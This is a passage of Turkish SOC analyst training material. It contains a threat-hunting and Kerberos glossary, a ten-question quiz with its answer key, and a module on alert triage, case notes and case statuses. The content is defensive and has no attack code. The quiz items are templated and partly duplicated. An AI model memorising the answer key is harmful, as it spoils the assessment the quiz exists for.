Threat Hunting	Sistemlerde proaktif ve hipotez odaklı saldırgan izi arama.	Alarmların ötesine geçip "sessiz" tehditleri bulmayı sağlar.
Hypothesis-Driven	"X tekniği içeride kullanılıyor mu?" sorusuyla başlayan av.	Yapılandırılmış ve hedefe yönelik bir hunting türüdür.
Analytics-Driven	İstatistiksel sapmalar ve nadirlik üzerinden yapılan av.	Bilinmeyen anomalileri (Outliers) yakalamak için kullanılır.
Intel-Driven	İstihbarat raporlarından gelen verilerle başlatılan av.	Dış dünyadaki bir saldırının içeride olup olmadığını denetler.
Hunt Scope	Çalışmanın zaman, kullanıcı ve sistem bazlı sınırları.	Analizin odak noktasını belirleyerek gürültüyü azaltır.
Detection Opportunity	Av sırasında bulunan ancak henüz kuralı olmayan örüntü.	Katalogdaki "Otomatik Detection" sayısını artırma fırsatıdır.
Data Gap	Analiz için gereken logun sistemde bulunmaması durumu.	Yeni log kaynağı talebi için teknik gerekçe oluşturur.
IOC	Saldırıya işaret eden teknik gösterge (IP, Hash, Domain).	İnceleme anında ilk bakılan somut kanıtlardır.
IOC Enrichment	IOC verisine ek bağlam katma (Örn: Whois, Reputation).	Bir IP'nin "zararlı" olup olmadığını anlamayı kolaylaştırır.
CTI	Siber tehdit aktörleri ve kampanyaları hakkında istihbarat.	SOC'un "dış dünya farkındalığını" sağlar.
STIX	İstihbarat verisini ifade etmek için kullanılan standart dil.	Farklı sistemlerin aynı dili konuşmasını (JSON formatlı) sağlar.
TAXII	STIX verisinin taşınmasını sağlayan uygulama protokolü.	İstihbaratın kurumlar arası otomatik paylaşım yoludur.
MISP	Açık kaynaklı tehdit istihbaratı paylaşım platformu.	Topluluk bazlı IOC ve olay paylaşım merkezidir.
OpenCTI	Bilgi grafiği tabanlı gelişmiş CTI yönetim platformu.	TTP ve aktör ilişkilerini karmaşık şekilde analiz eder.
Kerberoasting	Servis hesaplarının (SPN) biletlerini kırma saldırısı.	Domain Admin yetkisine giden en kritik yollardan biridir.
AS-REP Roasting	Pre-auth kapalı hesaplardan bilet çekme saldırısı.	AD yapılandırma hatalarını hedefleyen bir tekniktir.
TGS	Kerberos servis bileti (Ticket Granting Service).	Kerberoasting saldırısının temel nesnesidir.
Pre-Auth Type 0	Kerberos ön doğrulamasının devre dışı olması durumu.	AS-REP Roasting için "açık kapı" sinyalidir.
RC4 / etype 0x17	Eski ve zayıf bir Kerberos şifreleme türü.	Zayıf şifreleme, kaba kuvvet saldırılarını kolaylaştırır.
Stack Counting	Olayları sayarak nadir olanı en üstte görme tekniği.	Binlerce sistem arasında tek bir anomaliyi bulmaya yarar.
WMI	Windows yönetim altyapısı (Management Instrumentation).	Dosyasız saldırılar ve kalıcılık için en çok kullanılan alandır.
Rarity Analysis	Ortamda en az gerçekleşen davranışların analizi.	"Sadece bir kez görülen" şüpheli süreçleri yakalar.
Benign / Suspicious / Malicious	Analiz sonucunun; Zararsız, Şüpheli veya Zararlı etiketi.	Vakanın kapatılma veya eskalasyon kararını belirler.
Detection Engineering	Tespit kuralı geliştirme ve iyileştirme disiplini.	Savunma hattının "yazılımcı" ve "mimar" tarafıdır.
Playbook	Belirli bir olay türü için izlenecek adım adım rehber.	Hata payını azaltır ve müdahale hızını standartlaştırır.
Coverage Gap	Bir tekniğin hiçbir şekilde görülememesi durumu.	Savunma hattındaki stratejik boşluktur.
Log Source Requirement	Bir kuralın çalışması için gereken minimum log seti.	IT ekiplerine verilen "bu loglar lazım" listesidir.
Sysmon ID 19-20-21	WMI Filter, Consumer ve Binding olay kayıtları.	WMI tabanlı kalıcılık saldırılarının tek izidir.
Win Event ID 4698 / 7045	Zamanlanmış görev ve yeni servis kurulum logları.	Kalıcılık (Persistence) analizinin anahtarlarıdır.
Win Event ID 4768 / 4769	Kerberos TGT ve TGS bilet talep kayıtları.	Kimlik hırsızlığı ve yanal hareketin ağdaki ayak izidir.

Kendini Değerlendir — MITRE ve Threat Hunting

Aşağıdaki 10 soru modül kazanımlarını ölçer. Her soru için en iyi cevabı seçin ve Testi Gönder düğmesine basın.

1) Bir stajyer «Taktik-teknik-prosedür hiyerarşisi» hakkında «ezberledim, uygulamaya gerek yok» dedi. En doğru yanıt?

A) Yalnızca yöneticiler bilir

B) Araç adı yeterlidir

C) Kavramın pratikte nasıl uygulandığını ve hangi hatayı önlediğini açıklaması gerekir

D) Sadece sınavda sorulursa öğrenilir

Doğru: C
Gerekçe: «Taktik-teknik-prosedür hiyerarşisi» uygulama ve risk bağlamı olmadan anlamlı değildir.

2) Denetimde «Hipotez odaklı av» için kanıt isteniyor. Hangi çıktı en uygundur?

A) Sözlü «biliyoruz» ifadesi

B) Politika, yapılandırma veya test sonucu ile uyum kanıtı

C) Başka modülün raporu

D) Ekran görüntüsü olmadan varsayım

Doğru: B
Gerekçe: «Hipotez odaklı av» denetlenebilir kanıt gerektirir.

3) «Data stack yeterliliği» uygulanmadığı için bir olayda müdahale gecikti. Ekibin öncelikli düzeltmesi ne olmalıdır?

A) Data stack yeterliliği için tanımlı kontrolü devreye almak ve süreci dokümante etmek

B) Tüm logları silmek

C) İnterneti kalıcı kapatmak

D) Yalnızca antivirüs imzasını güncellemek

Doğru: A
Gerekçe: Eksik kalan «Data stack yeterliliği» doğrudan hedeflenmeli; diğer seçenekler sorunu çözmez.

4) Denetimde «Living-off-the-land göstergeleri» için kanıt isteniyor. Hangi çıktı en uygundur?

A) Başka modülün raporu

B) Politika, yapılandırma veya test sonucu ile uyum kanıtı

C) Sözlü «biliyoruz» ifadesi

D) Ekran görüntüsü olmadan varsayım

Doğru: B
Gerekçe: «Living-off-the-land göstergeleri» denetlenebilir kanıt gerektirir.

5) Bir stajyer «Hunt finding → detection dönüşümü» hakkında «ezberledim, uygulamaya gerek yok» dedi. En doğru yanıt?

A) Yalnızca yöneticiler bilir

B) Sadece sınavda sorulursa öğrenilir

C) Kavramın pratikte nasıl uygulandığını ve hangi hatayı önlediğini açıklaması gerekir

D) Araç adı yeterlidir

Doğru: C
Gerekçe: «Hunt finding → detection dönüşümü» uygulama ve risk bağlamı olmadan anlamlı değildir.

6) «Baseline davranış bilgisi» uygulanmadığı için bir olayda müdahale gecikti. Ekibin öncelikli düzeltmesi ne olmalıdır?

A) Tüm logları silmek

B) Baseline davranış bilgisi için tanımlı kontrolü devreye almak ve süreci dokümante etmek

C) İnterneti kalıcı kapatmak

D) Yalnızca antivirüs imzasını güncellemek

Doğru: B
Gerekçe: Eksik kalan «Baseline davranış bilgisi» doğrudan hedeflenmeli; diğer seçenekler sorunu çözmez.

7) Av hipotezi: «PowerShell ile uzak indirme». Hangi ATT&CK taktik/teknik ailesine en yakındır?

A) Physical destruction

B) Initial Access — Phishing yalnızca

C) Backup encryption only

D) Execution ve Command and Control davranışları

Doğru: D
Gerekçe: Script çalıştırma ve uzak iletişim birden fazla taktikle ilişkilidir.

8) MTTD uzun, MTTR kısa. Bu neyi gösterir?

A) Olaylar geç fark ediliyor; müdahale hızlı

B) Sadece false positive var

C) Hiç olay yok

D) Log toplanmıyor

Doğru: A
Gerekçe: Tespit–müdahale metrikleri farklı aşamaları ölçer.

9) Av hipotezi: «PowerShell ile uzak indirme». Hangi ATT&CK taktik/teknik ailesine en yakındır?

A) Execution ve Command and Control davranışları

B) Initial Access — Phishing yalnızca

C) Backup encryption only

D) Physical destruction

Doğru: A
Gerekçe: Script çalıştırma ve uzak iletişim birden fazla taktikle ilişkilidir.

10) RoE’de «Do Not Harm» ihlali riski doğdu. İlk adım?

A) Tüm ağları kapatmak

B) Kanıtları silmek

C) Hızı artırmak

D) Stop/kill koşuluna göre durdurmak ve iletişim kanalını kullanmak

Doğru: D
Gerekçe: RoE limitleri üretim güvenliğini korur.

Bu Modülde Kazanılan Yetkinlikler

MITRE ATT&CK’i analiz aracı olarak kullanabilir. Bir alarmı kapattıktan sonra yalnızca teknik ID yazmakla yetinmez; o teknik için hangi log kaynağının gerektiğini, kurumda detection coverage’ın ne durumda olduğunu ve bu teknik için kör nokta var mı diye sorar. Bu sorgulama alışkanlığı, SOC’un pasif alarm kapayıcılıktan aktif güvenlik geliştiricisine dönüşmesinin başlangıcıdır.
Coverage boşluklarını görünür kılar. ATT&CK Navigator ile kurumun otomatik tespit ettiği, yalnızca manuel gözlemlediği ve hiç göremediği teknikler arasındaki farkı haritalar. Bu harita, detection engineering önceliklerini ve log altyapısı yatırım kararlarını somut bir zemine oturtur.
Pyramid of Pain’i detection stratejisine taşır. Hash ve IP tabanlı alarmların neden yeterli olmadığını, TTP tabanlı detection’ın neden daha kalıcı olduğunu açıklar ve kendi çalıştığı kurumda hangi katmanda ne kadar detection bulunduğunu değerlendirebilir.
Yapılandırılmış hunting çalışması yürütür. Hipotez üretir, scope belirler, ilgili veri kaynaklarına sorgu yazar ve bulguları benign, suspicious, confirmed malicious, detection opportunity ve data gap olarak sınıflandırır. “Hiçbir şey bulamadım” yerine somut çıktılar üretir.
Hunting bulgularını operasyonel iyileştirmeye dönüştürür. Bulunan her detection opportunity için detection engineering sürecine fikir taşır; her data gap için log ihtiyacı belgeler; her tuning fırsatı için mevcut kural sahibini bilgilendirir. Bu sayede hunting yalnızca araştırma faaliyeti olarak kalmaz, SOC’un tespit kapasitesini geliştiren sürekli bir geri besleme mekanizmasına dönüşür.
Kerberos saldırılarını savunmacı bakışla yorumlar. Kerberoasting için Event ID 4769, RC4 / etype 0x17, olağandışı TGS hacmi ve servis hesabı baseline’ını birlikte değerlendirir. AS-REP Roasting için Event ID 4768, Pre-Auth Type 0 ve pre-authentication disabled hesapları izleme mantığını kavrar.
Persistence hunting yaparken scheduled task, servis oluşturma, registry run key, startup folder, yeni hesap oluşturma ve WMI event subscription gibi alanları birlikte kontrol eder. Event ID 4698’in scheduled task oluşturma, Windows System Event ID 7045’in yeni servis kurulumu ve Sysmon Event ID 19/20/21’in WMI persistence bileşenleri için nasıl kullanılacağını bilir.
Threat intelligence’ı yalnızca IOC alarm üretmek için değil, hunting hipotezi oluşturmak, detection önceliklendirmek, coverage boşluklarını belirlemek ve playbook güncellemek için kullanır.
CTI raporlarını operasyonel gözle okur. Rapordaki IOC’leri SIEM aramasına, TTP’leri detection/hunting fikrine, hedef sektör bilgisini risk önceliğine ve savunma önerilerini süreç iyileştirmesine dönüştürür.

MODÜL 6 — Alarm İnceleme, Vaka Yönetimi ve IR Handoff

Modül Teması

Triage

Alarm önceliklendirme ve doğrulama.

Vaka Yönetimi

Case lifecycle, evidence, timeline.

IR Handoff

SOC → Incident Response devir süreci.

SOC’un günlük operasyonunun kalbinde iki kritik eylem yatar: doğru alarmı doğru hızda değerlendirmek ve bu değerlendirmeyi kanıta dayalı biçimde kayıt altına almak. Bu modül, bir alarmın ilk saniyelerinden vaka kapatmaya, SOAR otomasyonundan IR ekibine temiz devire ve olay sonrası öğrenme döngüsüne kadar uzanan operasyonel sürecin tamamını ele alır.

Temel eğitimde triaj, investigation ve case management kavramlarını tanıdınız. Bu modülde bu kavramlar artık birbirinden bağımsız adımlar olarak değil, birbirine bağlı bir operasyonel akış olarak işlenecek: Bir alarm nasıl değerlendirilmeli, bu değerlendirme neye dayanmalı, vakanın içine hangi kanıtlar girmeli, otomasyon nerede devreye girmeli ve nerede durmalı, IR ekibine ne verirseniz işlevli bir devir yapmış olursunuz?

Bu modül aynı zamanda SOC’un neden müdahalenin tamamı değil, müdahalenin başlangıcı olduğunu netleştirir. SOC’un operasyonel sınırını bilmek; doğru zamanda, doğru ekibe, doğru bilgiyle devir yapmak, tam kapsamlı müdahale üstlenmekten çok daha değerlidir. Olay sonrası öğrenme kültürü ise bu modülün bağlayıcı son halkasıdır: kapanan her olay, SOC’un bir sonraki tespiti için ham malzeme üretir.

Bu Modülde Hedeflenen Kazanımlar

Bir alarmın ilk değerlendirmesinde severity-priority farkını, confidence seviyesini ve varlık bağlamını birlikte kullanarak triaj kararı verebilecek.
True positive, false positive, benign true positive / expected activity ve duplicate alert arasındaki farkı kanıta dayalı biçimde ayırt edebilecek; alert fatigue’in karar kalitesine etkisini operasyonel bağlamda değerlendirebilecek.
Bir alarmı entity pivot, scope belirleme ve timeline analizi yöntemleriyle anlamlı bir vakaya dönüştürebilecek.
Standart vaka notu yazabilecek; kapanış kodlarını doğru kullanabilecek ve vaka kalitesini ölçecek kriterleri uygulayabilecek.
SOAR playbook mantığını kavrayarak enrichment, notification ve response otomasyonlarını birbirinden ayırt edebilecek; otomasyon risklerini değerlendirebilecek.
Bir olayın IR ekibine ne zaman aktarılması gerektiğini belirleyebilecek ve handoff paketini eksiksiz hazırlayabilecek.
Containment önerisini kanıta dayalı olarak sunabilecek; kurumun RACI/yetki modeline göre hangi aksiyonların SOC, IR veya IT tarafından yürütülebileceğini ayırt edebilecek.
IR ve DFIR süreçlerine SOC perspektifinden bakış açısı geliştirebilecek; DFIR uzmanı olması beklenmese de temel forensik farkındalığın neden gerekli olduğunu açıklayabilecek.
Kapanan her olaydan detection improvement, playbook improvement, log source improvement ve reporting improvement çıkarabilecek.

1. Alarm Triajı ile İlk Güvenlik Değerlendirmesini Yapma

1.1 Alarmın İlk Değerlendirmesini Yapma

Bir alarm geldiğinde analistin önünde genellikle şunlar bulunur: alarm adı, tetikleme zamanı, etkilenen varlık, kullanıcı bağlamı, severity değeri, confidence seviyesi ve alarmın kaynağı. Bu bilgilerin tamamı ilk 60-90 saniyede değerlendirilmeli; ancak bu değerlendirme “bu şüpheli mi değil mi?” sorusuyla değil, “bu alarm hakkında ne biliyorum, ne bilmiyorum ve neye bakmam gerekiyor?” sorusuyla başlamalıdır.

Alarmın kaynağı, analistin kalibrasyon noktasıdır. Aynı EDR kuralının düz bir iş istasyonunda mı yoksa domain controller’da mı tetiklendiği, aynı alarm adıyla karşılaşıldığında bile tamamen farklı bir analiz yolu açar. Kullanıcı bağlamı da bu kadar kritiktir: muhasebe departmanından standart bir çalışanın alarm üretmesi ile SOC’un kendi analistinin aynı alarmı üretmesi, değerlendirmeyi farklı yönlere taşır.

Analist Yorumu: Alarmı açar açmaz “bu false positive” diye kapatmak ya da “bu kesinlikle gerçek” diye hemen eskalasyon yapmak — ikisi de triaj değil, karar kısayoludur. İyi bir triaj süreci, sonuca değil bağlama ulaşmak için gerekli adımları tarayan bir süreçtir.

1.2 Severity ve Priority Arasındaki Farkı Anlama

Severity, alarmın teknik şiddetini ifade eder: SIEM veya EDR’ın ürettiği “High”, “Medium”, “Low” gibi bir değerlendirmedir. Priority ise kurum açısından önceliği; hangi alarmın şimdi analiz edilmesi gerektiği sorusunun yanıtıdır.

Bu iki kavram örtüşmeyebilir. Kritik bir üretim sunucusunda tetiklenen “Medium” severity alarm, standart bir iş istasyonundaki “High” severity alarmdan daha önce ele alınmalıdır. Çünkü iş etkisi, teknik şiddeti geçersiz kılabilir. Bu yüzden SOC’ta “en yüksek severity değerine bak” kuralı her zaman doğru bir önceliklendirme stratejisi değildir.

Asset criticality bilgisi bu kararı doğru verebilmenin temelidir. Eğer alarm üzerinde varlık kritikliği bilgisi enrichment yoluyla zaten mevcutsa, analistin bu hesabı zihninde yapmasına gerek kalmaz. Enrichment olmadan bu iş yükü tümüyle analistin üzerinde kalır.

1.3 Gerçek Pozitif Alarmı Tanıma: True Positive

True positive, alarmın hedeflediği gerçek şüpheli veya zararlı davranışı doğru şekilde yakaladığı durumdur. Bu davranış doğrulanmış zararlı aktivite olabilir veya kuralın hedeflediği güvenlik açısından anlamlı davranış gerçekten gerçekleşmiş olabilir.

Henüz doğrulanmamış ama bağlamı güçlü şekilde şüpheli olan olaylar ise investigation aşamasında “suspicious / under investigation” olarak ele alınmalıdır. Doğrulama tamamlandıktan sonra olay true positive, confirmed incident, benign true positive / expected activity veya false positive olarak sınıflandırılır.

True positive kararı vermek için bağlamın desteklemesi gerekir. “Bu süreç bu parent’tan bu komutla başlamış olmamalıydı” ve “bu kullanıcının bu saatte bu sisteme erişmesi beklenmez” gibi çıkarımlar, alarm kural mantığının doğru çalıştığını ve davranışın gerçek olduğunu gösterebilir.

SOC Perspektifi: True positive kararı, investigation’ı derinleştirir; case açılır, kanıt toplanır, kapsam değerlendirilir. Bu kararı vermek, yalnızca “alarm doğru” demek değildir; “bu davranış güvenlik açısından anlamlıdır ve inceleme gerektirir” demektir.

1.4 Yanlış Pozitif Alarmı Tanıma: False Positive

False positive, alarmın zararsız veya beklenen bir davranışı tehdit olarak yanlış işaretlediği durumdur. SOC için hem operasyonel hem de stratejik bir sorundur: her false positive, bir analistin zamanını ve dikkatini gerçek tehditlerden uzaklaştırır.

False positive kararını vermek, true positive kararı kadar dikkat gerektirir. “Bu muhtemelen zararsız” varsayımıyla kapatmak yeterli değildir. Kanıta dayanmalıdır: IT change management’ta kayıt var mı? Kullanıcı bu davranışı açıklayabiliyor mu? Alarm aynı kullanıcıdan veya sistemden rutin olarak mı geliyor? Davranış kurumun belgelenmiş iş akışıyla uyumlu mu?

False positive olarak kapatılan alarmlar aynı zamanda detection tuning için hammaddedir. “Bu kural tekrar tekrar aynı koşulda false positive üretiyor” gözlemi, kuralın allowlist, threshold, suppression veya bağlam zenginleştirme açısından güncellenmesi gerektiğini gösterir. Modül 3’te ele alınan detection tuning yaklaşımı bu noktada devreye girer.

1.5 Zararsız Ama Teknik Olarak Doğru Alarmı Anlama: Benign True Positive / Expected Activity

Benign true positive veya expected activity, alarmın teknik olarak doğru çalıştığı ancak tetiklenen davranışın kurumun bilinen ve izin verdiği bir aktivite olduğu durumdur. Bir IT yöneticisinin planlı bakım kapsamında sistemde PowerShell çalıştırması, teknik olarak “suspicious PowerShell execution” kuralını tetikleyebilir; ancak bu bilinen ve onaylı bir aktivitedir.

Bu sınıfın önemi, false positive ile karıştırılmamasıdır. Alarm yanlış çalışmıyor; davranış meşru. Bu ayrım kapanış kodunu da etkiler: false positive yazılmamalı, kurum taksonomisine göre benign true positive, expected activity veya authorized activity olarak işaretlenmelidir.

Bu sınıflandırmanın adı kurumdan kuruma değişebilir. Bazı SOC’lar “benign true positive” terimini kullanır; bazıları “expected activity” veya “authorized activity” kullanır; bazı kurumlar ise bunu daha geniş false positive başlığı altında tutabilir. Önemli olan, confirmed incident, expected/authorized activity, duplicate, insufficient data ve gerçek false positive ayrımının tutarlı ve kanıta dayalı yapılmasıdır.

Dikkat: Bir davranışı “bilinen” veya “izin verilen” olarak sınıflandırmak, bunu doğrulayan bir kaynağa dayanmalıdır: IT change kaydı, yönetici onayı, belgelenmiş iş süreci veya varlık sahibi teyidi. Varsayıma dayalı benign true positive kararı, gerçek bir tehdidi gözden kaçırma riskidir.

1.6 Tekrarlayan Alarmı Ayırt Etme: Duplicate Alert

Duplicate alert, aynı olayın birden fazla alarm olarak görünmesidir. Bu durum birkaç farklı şekilde ortaya çıkar: farklı log kaynakları aynı davranışı raporlar, aynı kural farklı zaman dilimlerinde aynı olayı tetikler ya da SIEM normalizasyonu başarısız olur ve aynı event birden fazla kez işlenir.

Bir analistin aynı olayı ikinci kez incelemesi hem zaman kaybıdır hem de SLA metriklerini bozar. Duplicate tespiti için temel kontrol şudur: aynı hostname, kullanıcı, zaman dilimi ve davranış kombinasyonu daha önce açık bir vakada görünüyor mu?

Case management sistemlerinde “related cases” veya “duplicate” etiketlemesi bu sorunla başa çıkmanın standart yoludur. SOAR enrichment otomasyonları da açık vakaları kontrol ederek duplicate tespitini otomatize edebilir.

1.7 Alert Fatigue ile Alarm Yorgunluğunu Anlama

Alert fatigue, yüksek hacimli veya düşük kaliteli alarmların analist dikkatini, motivasyonunu ve karar kalitesini aşındırmasıdır. Operasyonel tezahürü şudur: analist çok fazla alarm gördüğünde her birini aynı özenle inceleyemez; önemli alarmlar kalabalık içinde kaybolur; kapatma hızı artabilir ama kapatma kalitesi düşebilir.

Alert fatigue’in göstergeleri somuttur:

Ortalama triaj süresi düşerken false positive oranının yükselmesi.
Analistlerin alarm kuyruğuna geçmekte isteksizleşmesi.
Aynı kuraldan tekrar tekrar gelen alarmların “zaten bilinen şey” olarak geçiştirilmesi.
MTTA değerinin sistematik olarak artması.
Kapanış kodlarının dikkatsiz veya tutarsız seçilmeye başlaması.

Bu sorunun çözümü alarm silmek değil, alarm kalitesini artırmaktır. Detection tuning, allowlist güncelleme, gürültülü kaynakları önceliklendirme, düşük değerli kuralları emekliye ayırma ve enrichment kalitesini artırma; alert fatigue’i azaltmanın doğru yollarıdır.

2. Investigation Süreciyle Alarmı Anlamlı Bir Vakaya Dönüştürme

2.1 Entity Pivoting ile Analiz Kapsamını Genişletme

Investigation, bir alarmın tek bir noktada bittiği bir işlem değildir. Alarm bir kullanıcıya, bir hosta, bir IP’ye, bir dosya hash’ine, bir process’e veya bir cloud identity’ye işaret eder; bu varlıklar üzerinden analiz genişletildiğinde olayın gerçek boyutu ortaya çıkmaya başlar.

Entity pivoting, bu genişletme işleminin sistematik yöntemidir. Bir alarmda kullanıcı adı görüldüğünde şu sorular açılır: Bu kullanıcı son 24 saatte başka alarmlara karışmış mı? Bu kullanıcının kimlik loglarında aynı dönemde olağandışı bir giriş var mı? Bu kullanıcının yetki seviyesi bu davranışla uyumlu mu?

SIEM üzerinde entity pivot, genellikle ortak alan üzerinden yapılan join, filter veya union sorgularıyla yürütülür. UEBA veya XDR araçları bu pivoting’i görsel olarak sunar; ancak altında yatan mantık aynıdır: bir varlık üzerinden bağlantılı olayları ilişkilendirmek.

Analist Yorumu: Pivot, vaka açılan alarmın gerçekten ne kadar büyük bir olayın parçası olduğunu anlamak için en hızlı yoldur. “Bu yalnızca bu alarmı tetikleyen olay mı, yoksa devam eden bir saldırı zincirinin görünen ucu mu?” sorusu, pivot olmadan yanıtlanamaz.

2.2 Scope Belirleme ile Etkinin Büyüklüğünü Anlama

Scope, olayın kaç kullanıcıyı, kaç endpoint’i, kaç hesabı, kaç servisi etkilediğinin belirlenmesidir. Investigation sürecinde scope doğru belirlenmezse iki risk ortaya çıkar: aşırı escalation (çok az etki olan olayı büyük göstermek) veya yetersiz escalation (büyük etkiyi küçük görmek).

Scope belirlemenin pratik adımları şöyle işler: etkilenen ilk sistemi veya kullanıcıyı başlangıç noktası al; aynı davranışın başka sistemlerde de görülüp görülmediğini sorgula; lateral movement ihtimali varsa ağ segmentleri ve kimlik altyapısına bak; cloud ortamıyla kesişen bir olay varsa API logları ve IAM aktivitelerini incele.

Scope’un “yalnızca bu host” ile “potansiyel olarak 15 sistem” arasında fark etmesi, eskalasyon ve handoff kararını doğrudan etkiler. Bu yüzden scope, investigation notlarına açıkça yazılmalıdır.

2.3 Timeline Analizi ile Olay Sırasını Çıkarma

Timeline analizi, olayların zaman damgasına göre sıralanmasıdır; bununla birlikte salt kronoloji kurmaktan fazlasıdır. Amaç, saldırının nasıl başladığını, hangi aşamalardan geçtiğini ve şu an hangi noktada olduğunu görmektir.

Etkili bir timeline için şu sorular cevaplanmalıdır: İlk şüpheli sinyal ne zaman başladı? Bu sinyalden önce sisteme ne erişti? Sinyalden sonra hangi aktiviteler devam etti? Alarmın tetiklenme zamanı ile gerçek aktivitenin başladığı zaman arasında boşluk var mı?

Bu son soru özellikle önemlidir. Eğer bir saldırı aktivitesi saatler önce başladı ama alarm yeni tetiklendiyse, MTTD değeri kötüdür ve geçmişe dönük log analizi gerekir. Zaman boşlukları hem olayın boyutunu hem de detection’ın ne kadar geç devreye girdiğini gösterir.

Dikkat: Farklı sistemlerden gelen logların timestamp’leri UTC veya yerel saat farkları nedeniyle uyumsuz olabilir. Timeline oluştururken tüm zaman damgalarının aynı zaman dilimine normalize edilip edilmediğini kontrol edin. Modül 2’de ele alınan timestamp normalizasyonu bu noktada doğrudan etkilidir.

2.4 Root Cause’a Yaklaşım Geliştirme

SOC her olayın tam root cause’unu çıkarmak zorunda değildir; bu, DFIR ekibinin sorumluluğundaki derin forensik analizin işidir. Ancak SOC, ilk görülen sinyal nedir, muhtemel giriş noktası nedir ve yayılım ihtimali var mı — bu üç soruyu yanıtlayabilmelidir.

Root cause’a yaklaşım, investigation’ı anlamlı kılar. “Kullanıcının hesabı ele geçirilmiş olabilir; giriş noktası olarak phishing veya credential stuffing düşünülebilir, ancak doğrulanmadı” ifadesi, “ne olduğunu bilmiyorum” ifadesinden çok daha kullanışlı bir handoff noktası oluşturur.

2.5 Kanıt Toplama ile Analizi Destekleme

Bir vakaya yazılan notlar, o vakayı oluştururken açık olan SIEM ekranı veya EDR konsolu kapatıldığında tek başına anlam ifade etmelidir. Kanıt toplama; alarm detayları, ilgili log kesimleri, SIEM sorgu çıktıları, ekran görüntüleri, timeline, etkilenen varlıklar listesi ve ilk analiz notlarını kapsar.

Kanıt toplama disiplini iki durumda hayat kurtarır: birincisi, vardiya devri sırasında başka bir analist davayı alırken; ikincisi, IR ekibine handoff yapılırken. Her iki durumda da kanıt yetersizse devir sorunlu olur ve kritik bilgi kaybolur.

Kanıt mümkün olduğunca orijinal log satırı veya sorgu çıktısı olarak saklanmalıdır; ancak token, parola, session cookie, API key, kişisel veri veya gizli kurumsal bilgi içeriyorsa kurumun kanıt saklama ve maskeleme politikasına göre güvenli biçimde korunmalı, gerekirse hassas alanlar kontrollü şekilde maskelenmelidir. Analistin yorumu parafraz içerebilir; ancak kanıtın doğrulanabilirliği korunmalıdır.

2.6 Belirsizlikleri Açıkça Kayıt Altına Alma

Bir analistin “emin olmadığını” vaka notuna yazmaktan çekinmesi, sonraki analist veya IR ekibi için büyük sorun yaratır. “Bu davranışın nedeni belirsiz; IT change management’ta kayıt bulunamadı, ancak zararsız olduğu kesinleştirilemedi” gibi bir not, boş bırakılmış bir sorudan veya yanlış güven veren bir kapanış notundan çok daha değerlidir.

Belirsizlik kaydetmek analitik zayıflık değil, olgunluktur. Her alarm tam olarak çözümlenemez; bazıları veri yetersizliği, bazıları zaman kısıtı, bazıları da teknik kapasite nedeniyle eksik kalır. Bu eksikliklerin açıkça belgelenmesi, eskalasyon veya re-investigation kararlarını kolaylaştırır.

3. Case Management ile Vaka Takibini Standartlaştırma

3.1 Vaka Açma Kriterlerini Belirleme

Her alarm otomatik olarak vaka açılmasını gerektirmez. Bazı alarmlar triaj sırasında hızlıca false positive veya expected activity olarak kapatılır ve yalnızca alarm kaydı olarak kalır. Hangi alarmın vaka hâline getirileceği, kurumun tanımladığı kriterlere dayanmalıdır.

Genel vaka açma kriterleri şunları kapsar: true positive veya suspicious olarak değerlendirilen alarmlar, kapsamı birden fazla varlığı etkileyen durumlar, IR eskalasyonu değerlendirilen olaylar ve daha önceki vakalarla ilişkili alarmlar. “Şüphe varsa vaka aç” yaklaşımı, “şüphe olmasa da açayım” yaklaşımından daha sağlıklıdır; çünkü vaka kaydı bir olayın izlenmesini ve sahiplenilmesini sağlar.

3.2 Vaka Sahibi Atama

Her vakanın bir sahibi olmalıdır. Sahipsiz vaka, kimsenin takip etmediği vakadır. Vaka sahibi, vakanın ilerleyişini takip etmek, eksik adımları tamamlamak ve kapanış kararı vermekten sorumludur.

Shift handover sırasında açık vakalar bir sonraki analistlere devredilmeli ve bu devrin case management sisteminde kayıtlı olması gerekir. “Vardiyayı devraldım, bakayım” gibi sözlü devirler, kayıt altında değildir ve hesap verilebilirlik sorununa yol açar.

3.3 Standart Vaka Notu Yazma

İyi bir vaka notu şu özellikleri taşımalıdır: kısa ve net olmalı, zaman bilgisi içermeli (UTC tercih edilmeli), kanıta dayalı ifadeler kullanmalı ve başka bir analistin devam ettirebileceği netlikte olmalıdır.

Bunun aksine şunlardan kaçınılmalıdır: belirsiz ifadeler (“bir şeyler olmuş gibi görünüyor”), kanıtsız yargılar (“muhtemelen false positive”), aşırı teknik detayın açıklamasız bırakılması ve tarih/saat eklenmemiş güncellemeler.

Örnek: İyi Vaka Notu:
[2024-03-15 03:22 UTC] testuser hesabından SRV-WEB01 üzerinde WmiPrvSE.exe
kaynaklı cmd.exe başlatıldı. Komut satırı, dış bir adresten script
indirmeye işaret ediyor. Zeek conn.log'da ilgili dış bağlantı doğrulandı.
IT change management'ta bu geceki bakım için kayıt bulunamadı.

Sonraki adım: testuser hesap aktivitesini son 48 saat için incele.
[analyst01]

3.4 Vaka Durumlarını Operasyonel Olarak Yönetme

Case management sistemlerindeki durum alanları, vakanın operasyonel konumunu gösterir. Bu durumların tutarlı kullanımı, SOC’un kuyruk sağlığını izlemesini sağlar.

Durum (Status)	Operasyonel Karşılık ve Beklenen Aksiyon
Open (Açık)	Alarm tetiklendi ve vaka oluşturuldu. Henüz bir analist tarafından sahiplenilmemiş veya analizine başlanmamış durumdur.
In Progress (Çalışılıyor)	Bir analist vakayı üzerine aldı. Log inceleme, pivot analizi ve zenginleştirme (Enrichment) süreçleri aktif olarak yürütülüyor.
Waiting (Beklemede)	Analiz süreci, harici bir birimden (Kullanıcı teyidi, IT sistem yöneticisi onayı veya varlık sahibi bilgisi) gelecek veriye bağlı olarak duraklatıldı.
Escalated (Eskale Edildi)	Vaka, analistin yetki veya uzmanlık alanını aşıyor. L2/L3 analistlerine veya doğrudan Olay Müdahale (IR) ekiplerine devredildi.
Contained (Kontrol Altında)	Tehdidin yayılması durduruldu (Örn: Host izolasyonu, hesap engelleme). Tehdidin tamamen temizlendiğinden emin olmak için izleme süreci devam ediyor.
Closed (Kapalı)	Analiz ve müdahale tamamlandı. Kapanış kodu (FP, TP vb.) atandı ve dokümantasyon sonlandırıldı.

“Waiting” durumu özellikle dikkat gerektirir. Bekleme süresi çok uzarsa vaka SLA’yı ihlal edebilir. Bu durumlar queue health dashboard’unda “yaşlanan vakalar” olarak izlenmelidir.

3.5 Vaka Kapanış Kodlarını Doğru Kullanma

